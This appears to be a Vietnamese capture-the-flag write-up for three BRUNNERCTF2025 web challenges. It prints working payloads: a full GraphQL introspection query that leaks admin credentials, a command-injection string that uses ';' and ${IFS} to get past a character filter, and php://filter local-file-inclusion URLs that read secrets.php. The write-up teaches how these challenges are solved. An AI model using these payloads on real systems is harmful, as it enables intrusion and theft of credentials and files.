Post

Writeup Giải BRUNNERCTF2025

Writeup Giải BRUNNERCTF2025

BRUNNERCTF2025

I.Brunner’s Bakery

Mô tả: Recent Graphs show that we need some more Quality of Life recipes! Can you go check if the bakery is hiding any?!

Khi truy cập thử thách ta được giao diện như trên, ngoài ra không có gì đặc biệt! image.png Kiểm tra source code thấy một script để truy vấn dữ liệu thông qua GraphQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
        <script>
          fetch('/graphql', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ query: 'query { publicRecipes { name description author { displayName } ingredients { name } } }' })
          })
          .then(res => res.json())
          .then(data => {
            const container = document.getElementById('recipes');
            (data.data.publicRecipes || []).forEach(r => {
              const div = document.createElement('div');
              div.className = 'card';
              div.innerHTML = '<div class="title">' + r.name + '</div>' +
                              '<div class="author">by ' + r.author.displayName + '</div>' +
                              '<div class="desc">' + r.description + '</div>' +
                              '<div style="font-size:0.8rem;color:#777;margin-top:0.5rem;">Ingredients: ' + r.ingredients.map(i => i.name).join(', ') + '</div>';
              container.appendChild(div);
            });
          });
        </script>

Quay trở lại Burpsuite ta thấy phần request và respone như bên dưới alt text Khi tìm kiếm trong PayloadsAllTheThings1 thì mình kiếm được một payload khá là hữu ích để liệt kê toàn bộ lược đồ của cơ sở dữ liệu (Database Schema)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

Dùng trang web xuly để chuyển thành một chuỗi Json duy nhất để có thể gửi trong Burpsuite

Dùng dữ liệu trả về đưa vào trang web graph và tổng hợp lại ta nhận được một sơ đồ tổng thể sau đây

alt text Nên xem chi tiết dữ liệu Json trả về, hình ảnh trên chỉ mang tính chất tham khảo

Thử truy cập vào phần Secret thì ta nhận được phản hồi yêu cầu xác thực với quyền admin alt text Vậy bây giờ công việc là phải đi tìm được tài khoản và mật khẩu của admin để xác thực và đọc dữ liệu bí mật

Thử đi đọc tất cả các thông tin có thể đọc của author thông qua publicRecipes. Truy vấn và 1 Phần dữ liệu trả về có chứa usernamepassword của admin: alt text Bây giờ đăng nhập với tài khoản được cho để lấy token: alt text Lấy token nhận được truy cập lại phần Secret thì vẫn chưa nhận được flag alt text Thử lại với query truy vấn toàn bộ thuộc tính của Recipe và nhận được flag alt text

Flag: brunner{Gr4phQL_1ntR0sp3ct10n_G035_R0UnD_4Nd_r0uND}

II. Baking Bad

Mô tả: This new kid on the block, Bake’n’berg, has taken over the market with some new dough that has 99.2% purity. Ours is not even 60%! Our bakers have been trying to come up with a new P2P-recipe trying all sorts of weird ingredients to raise the purity, but it’s so costly this way.Luckily, the developers at Brunnerne have come up with a bash -c ‘recipe’ that can simulate the baking process. This way we can test ingredients in a simulator to find ingredients that result in a higher purity - without wasting any ressources.

Thông qua mô tả của thử thách thì có thể đoán đây là một thử thách về Command Injection Truy cập trang web thì ta nhận được một giao diện có form để nhận dữ liệu đầu vào - đây là nơi ta sẽ Injection alt text

Thử nhập ls thì không liệt kê đường dẫn mà trả ra giữ liệu như trên hình. alt text

Thử với các kí tự dùng để nối lệnh như |& thì đều bị phát hiện: alt text

Tuy nhiên khi thử đến kí tự ; thì nó thực sự hoạt động alt text

Đọc file index.php xem nó chặn những kí tự nào để từ đó dễ dàng lấy flag hơn. Nhưng đoạn code đã chặn cat và kí tự space nên mình đã dùng more${IFS} thay thế và nhận được kết quả: alt text

Nhận thấy đoạn code chặn kí tự khoảng trắng nên việc đọc trực tiếp flag là điều bất khả thi nên mình đã nghĩ đến việc dùng nhiều lệnh nối nhau để lùi về thư mục gốc và đọc flag:

Payload: ;cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;more${IFS}flag.txt

Flag: brunner{d1d_1_f0rg37_70_b4n_s0m3_ch4rz?}

III. Brunsviger Huset

Mô tả: Welcome to “Brunsviger Huset” (House of Brunsviger), the oldest Danish bakery in town! Our bakers have been perfecting their craft for over 150 years, and our signature brunsviger is a favorite among locals and tourists alike. But, it seems like our bakery has a secret ingredient that’s not on the menu…Can you find the hidden flag that’s been baked into our website? Be warned, our bakers are notorious for their clever hiding spots!

Truy cập trang web ta được một trang web với chức năng bán các sản phầm về bánh mì, không có gì đặc biệt. Nhưng khi đọc thử source code của web nhận thấy một đoạn code đặc biệt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
    function printCalendar() {
        // Open the print URL in a new window (Note to self: Remember to add print.php to robots.txt!)
        const printUrl = 'print.php?file=/var/www/html/bakery-calendar.php&start=2025-07&end=2025-09';
        const printWindow = window.open(printUrl, '_blank', 'width=800,height=600,toolbar=no,menubar=no,scrollbars=yes');

        // Wait for the page to load, then trigger print
        if (printWindow) {
            printWindow.onload = function() {
                setTimeout(function() {
                    printWindow.print();
                    // Close the window after printing (optional)
                    setTimeout(function() {
                        printWindow.close();
                    }, 1000);
                }, 1000);
            };
        }
    }
</script>

Đoạn code này khả năng cao chứa lỗ hổng đọc file tùy ý File Inclusion. Thử truy cập https://brunsviger-huset-269cf517a0f4cf2b.challs.brunnerne.xyz/print.php?file=/var/www/html/bakery-calendar.php&start=2025-07&end=2025-09 nhận được giao diện dưới đây: alt text

Ngoài ra trong đoạn script trên có đoạn comment Open the print URL in a new window (Note to self: Remember to add print.php to robots.txt!) có thể là gợi cho chúng ta. đọc thử file robots.txt ta nhận được kết quả trả về như sau: User-agent: * Allow: /index.php Allow: /bakery-calendar.php Disallow: /print.php Disallow: /secrets.php

Thử truy cập https://brunsviger-huset-269cf517a0f4cf2b.challs.brunnerne.xyz/print.php?file=secrets.php thì không nhận được gì cả alt text Vì file trên là file php nên mình nhớ đến việc dùng php wrapper

Truy cập https://brunsviger-huset-269cf517a0f4cf2b.challs.brunnerne.xyz/print.php?file=php://filter/convert.base64-encode/resource=secrets.php thì nhận được kết quả là một chuỗi mã hóa base64:

PD9waHAKLy8gS2VlcCB0aGlzIGZpbGUgc2VjcmV0LCBpdCBjb250YWlucyBzZW5zaXRpdmUgaW5mb3JtYXRpb24uCiRmbGFnID0gImJydW5uZXJ7bDBjNGxfZjFsM18xbmNsdXMxMG5fMW5fdGgzX2I0azNyeX0iOwo/Pgo=

Đem giải mã đoạn code trên thì nhận được kết quả:

1
2
3
4
<?php
// Keep this file secret, it contains sensitive information.
$flag = "brunner{l0c4l_f1l3_1nclus10n_1n_th3_b4k3ry}";
?>

Flag: brunner{l0c4l_f1l3_1nclus10n_1n_th3_b4k3ry}

  1. https://swisskyrepo.github.io/PayloadsAllTheThings/GraphQL%20Injection/#identify-an-injection-point ↩︎

This post is licensed under CC BY 4.0 by the author.